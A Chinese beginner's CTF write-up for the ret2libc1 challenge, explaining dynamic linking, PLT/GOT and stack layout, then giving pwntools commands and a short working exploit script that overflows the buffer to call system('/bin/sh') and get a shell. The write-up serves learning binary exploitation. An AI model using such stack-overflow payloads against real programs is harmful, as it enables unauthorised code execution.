【PWN · ret2libc】ret2libc1

这篇具有很好参考价值的文章主要介绍了【PWN · ret2libc】ret2libc1。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

ret2libc的第一题

目录

前言

一、动态链接

二、ret2libc原理

三、exp编写

干货 

干货一:python下的ELF 

干货二:strings看看有没有待选字符串

编写exp

总结 


前言

本来是和学习ret2text\ret2shellcode\ret2syscall一样在网上找文字资源,读博客,however~~

机缘巧合我又一次打开了大一曾经浏览过的bilibili上的PWN入门教程,然后发现大一看来晦涩难懂的东西,在浅浅学了几门专业课后(事实上正在学),发现竟比较“简单”能理解;大一看来gdb用的天花乱坠很难得样子,现在看来也无非是start/run/b main/next/continue/q/pattern create xx等等调试指令。

所以就跟着张剑威老师一起学。比较其他课程,每一节课程都3h,真的很细!!!对新手其实真的很友好!!(有一点点汇编知识即可)强推!!

其他b站大学的课程还没看,但是目前还是萌新,打基础的话,还是3h的课程比较爽捏(开插件2.4倍速看,贼爽)


一、动态链接

这里还是简单复述一下原理。更加详细的可以去看视频(太详细了而且易懂)。

我们都知道,ret2syscall一般适用场合是静态链接。和动态链接不同的是,在一开始编译一个c语言程序,就将所有的库函数都打包到最终的elf可执行文件中。而动态链接编译后的文件,很明显大小小于静态链接后的文件,是因为有大量的调用库函数,都只是在程序中做了标识,而没有一股脑儿把所有的函数体囊括进来。

【PWN · ret2libc】ret2libc1

这张图很好地说明了动态链接下程序执行的过程。

我们主要需要知道的是:

        当函数运行到调用库函数时,程序将访问对应函数的plt表项,plt表项存着代码,代码分为两部分:        

        第一部分,跳转到对应的got表。

        第二部分,查找函数的真实地址,修改got表内容。

        got表项存着一个地址。然而这个地址并不一开始就是libc中函数的真实地址。

        一开始,got表项中地址指向plt代码的第二部分。

        后来,因运行plt第二部分代码段,got表内容被修改为真实函数地址。

依据以上,我们可以直到动态链接下,程序的特点:

        第一次访问函数时,寻找到函数的真实地址,然后调用;第二次访问时,直接通过函数的真实地址进行调用。

因为程序运行实则把控制流交给了libc中的代码,因此动态链接下的可执行文件,成功进行了瘦身——需要的东西,找别人借,无需自己拥有。 

二、ret2libc原理

我们在ret2syscall,可以通过静态链接所囊括大量库函数因而存在的大量gadget,组成我们想要的后门函数。而动态链接下的文件,其中没有库函数的函数体,而只有函数的标志信息。那么我们怎么进行栈溢出攻击呢?

首先前提肯定的,我们可以通过一个危险函数,劫持函数控制流。然而给我们这个地址,我们该怎么做呢?填什么地址呢?

以本题为例,本题中通过IDA可以找到一段system()函数,这段函数放在一个几乎不可能被执行的语句内,那么就没有用了吗?——不是的

system()在函数中出现(尽管几乎不会被执行),就意味着plt中有它的表项!!

而我们之前说过了,虽然没有囊括system的函数体,我们可以返回到system@plt的指令段,然后借此跳转到got表项指向的地址,即函数地址,实现对system函数的调用。 

所以我们溢出时,将控制流劫持到system@plt指令段,就相当于调用了system函数。而我们继续要做的是,继续溢出,在栈上填充我们需要的信息,具体来说是system的参数。

【PWN · ret2libc】ret2libc1大致如图所示 。那么怎么是这样排布的呢?具体我们接下来看。

我们知道,函数嵌套,会在栈上开辟新的栈帧,而被调函数(callee)的参数放在哪里呢?主调函数(caller)和被调函数的栈帧是怎么样的呢?

【PWN · ret2libc】ret2libc1上面大致画了一下主调被调函数栈帧的关系,值得说明的是,中间三个栈空间画的比栈小仅仅是为了说明这三个栈空间的“归属”问题:arguments和ret_addr由caller保存,prev_ebp由callee保存。 

因此,我们发现,假设callee是system函数,那么它寻找其参数,就要向栈底偏两个栈空间(越过ret_addr和prev_ebp找到arguments)。那么理论上我们溢出构造的栈内容直观上应该是这样的:

【PWN · ret2libc】ret2libc1

然而实则不正确,应该是:

【PWN · ret2libc】ret2libc1

为什么呢?因为上上上张图已经故意说明了,prev_ebp是由callee进行保存的,许许多多的函数(包括system)在被调用时的第一句指令,总是push ebp,因此有一个我们只需要给出一个虚假的ret_addr就行了,callee会自动往栈上压入ebp。

这里不得不提一个情况(实则很少见)那就是main和system中间还有一个函数的调用,这样不就打破栈的平衡了吗?强推b栈视频,老师在面对这个学生突然提出的问题时,解答十分精彩,给出了通用的溢出结构!

无论中间夹杂多少个函数,在shellcode中添加pop_ret即可完美衔接,具体看视频叭! 

好了,开始上手!而且老师也给出很多做题干货,例如,接下来,我将不用IDA,而是分享几个实用的姿势。

三、exp编写

首先提炼一下我们要做的事情:、

  • system函数地址,确切说是system@plt的地址
  • "/bin/sh"地址,补充一下,这种字符串,都是程序力单独开辟空间存储的,作为参数实则是字符串地址;如果程序中没有,那就要用其他高级手法,but我还是萌新,不会。
  • 老生常谈的偏移量

干货 

干货一:python下的ELF 

>>>python3
>>>from pwn import *
>>>io=process("./file_name")
>>>elf=ELF("./file_name")
>>>system_plt=elf.plt["system"]
>>>system_plt
134513760
>>>...

【PWN · ret2libc】ret2libc1

不用checksec也能知道其信息,经过这些操作找到system@plt的地址了。任务一完成。

【PWN · ret2libc】ret2libc1

解释一下,next()是因为python3相对于python2有所改动(返回值的类型),b"/bin/sh"是指在字节中类型的字符串,因为是在二进制文件中找是都是字节嘛。

找到/bin/sh的地址,任务二完成。

上述几个实际上都可以在IDA中完成,但是能用键盘,为什么要用鼠标呢? 既不用checksec,而且可以快速找到字符串、找到plt地址,也可以找到got表项的地址信息。

【PWN · ret2libc】ret2libc1

干货二:strings看看有没有待选字符串

strings file_name | grep /bin/sh  #查看file_name文件中是否存在字符串 "/bin/sh"

如果下一行打印出了该字符串,说明存在该字符串。

编写exp

直接附上exp,关于offset,简单的用pattern就可以了,可以看这里

from pwn import *

io=process("./ret2libc1")

bin_sh=0x8048720
system_addr=0x8048460
offset=112
payload=b'a'*offset+p32(system_addr)+b'aaaa'+p32(bin_sh)

io.sendline(payload)

io.interactive()

【PWN · ret2libc】ret2libc1

 成功获取自己的shell。


总结

只能说,现在好喜欢看张剑威老师的课程(这样叫可能把他叫老了,他应该本科才刚毕业,确实牛,膜拜%%%%%),争当“刘勇”,加油!文章来源地址https://www.toymoban.com/news/detail-440052.html

到了这里,关于【PWN · ret2libc】ret2libc1的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 字符串溢出(pwn溢出)--ret2shellcode

    有些技术再也记不住了。所以记录笔记,下面这个文档写的蛮好的,不过我实际情况和他稍有不同,特此记录 pwn溢出入门案例, 信息安全 https://saucer-man.com/information_security/177.html 这里面的例子是常见的栈溢出,例子代码就是如上文中的代码,为了测试方便,如上面作者一样,

    2024年02月02日
    浏览(42)
  • kernel-pwn之ret2dir利用技巧

    ret2dir 是2014年在USENIX发表的一篇论文,该论文提出针对 ret2usr 提出的 SMEP 、 SMAP 等保护的绕过。全称为 return-to-direct-mapped memory ,返回直接映射的内存。 在 SMEP 与 SMAP 等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是 ret2usr ,如下图所示(图片来自论文)。

    2024年02月16日
    浏览(34)
  • 【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0

    第一次遇见整数溢出的题目,值得记录一下(虽然这里的整数溢出很简单 目录 前言 一、整数溢出 二、解题思路 1.ELF/checksec查看保护 2.IDA反汇编 3.整数溢出  4.exp编写 总结 整数溢出漏洞——对于有/无符号数,长/短位宽转换时机器码的变换策略所指。 如果一个整数用来计算

    2024年02月06日
    浏览(41)
  • CTF学习笔记——ret2text

    ret2text 应该算是PWN里面比较简单的题型了,这种题型有个显著特征,就是会有个很明显的后门函数,也就是 system(\\\"/bin/sh\\\") ,我们只需要将我们的程序跳转到后门函数即可。不过我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是

    2024年02月04日
    浏览(52)
  • 《Git入门实践教程》前言+目录

    版本控制系统(VCS)在项目开发中异常重要,但和在校大学生的交流中知道,这个重要方向并未受到重视。具备这一技能,既是项目开发能力的体现,也可为各种面试加码。在学习体验后知道,Git多样化平台、多种操作方式、丰富的资源为业内人士提供了方便的同时,也造成

    2024年02月10日
    浏览(66)
  • FPGA学习实践之旅——前言及目录

    很早就有在博客中记录技术细节,分享一些自己体会的想法,拖着拖着也就到了现在。毕业至今已经半年有余,随着项目越来越深入,感觉可以慢慢进行总结工作了。趁着2024伊始,就先开个头吧,这篇博客暂时作为汇总篇,记录在这几个月以及之后从FPGA初学者到也算有一定

    2024年02月03日
    浏览(55)
  • 【自制视频课程】C++OpnecV基础35讲——第一章 前言

            首先,opencv是一个广泛使用的计算机视觉库,它提供了丰富的图像处理和计算机视觉算法,可以帮助我们快速地开发出高质量的图像处理应用程序;         其次,opencv是一个开源库,可以免费使用和修改,这为我们提供了一个学习和研究计算机视觉的良好平

    2024年02月05日
    浏览(51)
  • 基于linux下的高并发服务器开发(第一章)- 目录操作函数

     (1)int mkdir(const char* pathname,mode_t mode); #include sys/stat.h #include sys/types.h int mkdir(const char *pathname, mode_t mode);     作用:创建一个目录     参数:          pathname: 创建的目录的路径         mode: 权限,八进制的数     返回值:          成功返回0, 失败返回-1  (

    2024年02月16日
    浏览(45)
  • 设置word目录从正文开始记录页码,并解决word目录正常,但正文页脚处只显示第一页的页码

    问题详情1:如何设置目录从正文开始记录页码 问题详情2:word目录处的页码正常,但正文只有第一页的页脚处显示页码 在设置目录从正文开始记录页码时需在目录后插入分节符(相同的节可以把当前页的页脚链接到上一页,但是不同的节就不行,因此可以利用分节来从 正文

    2024年03月10日
    浏览(115)
  • AIGC系列文章目录 第一章 AIGC 与AI对话,如何写好prompt?

    生成式人工智能AIGC(Artificial Intelligence Generated Content)是人工智能1.0时代进入2.0时代的重要标志。 AIGC对于人类社会、人工智能的意义是里程碑式的。 短期来看 AIGC改变了基础的生产力工具, 中期来看 会改变社会的生产关系, 长期来看 促使整个社会生产力发生质的突破,在

    2024年02月06日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包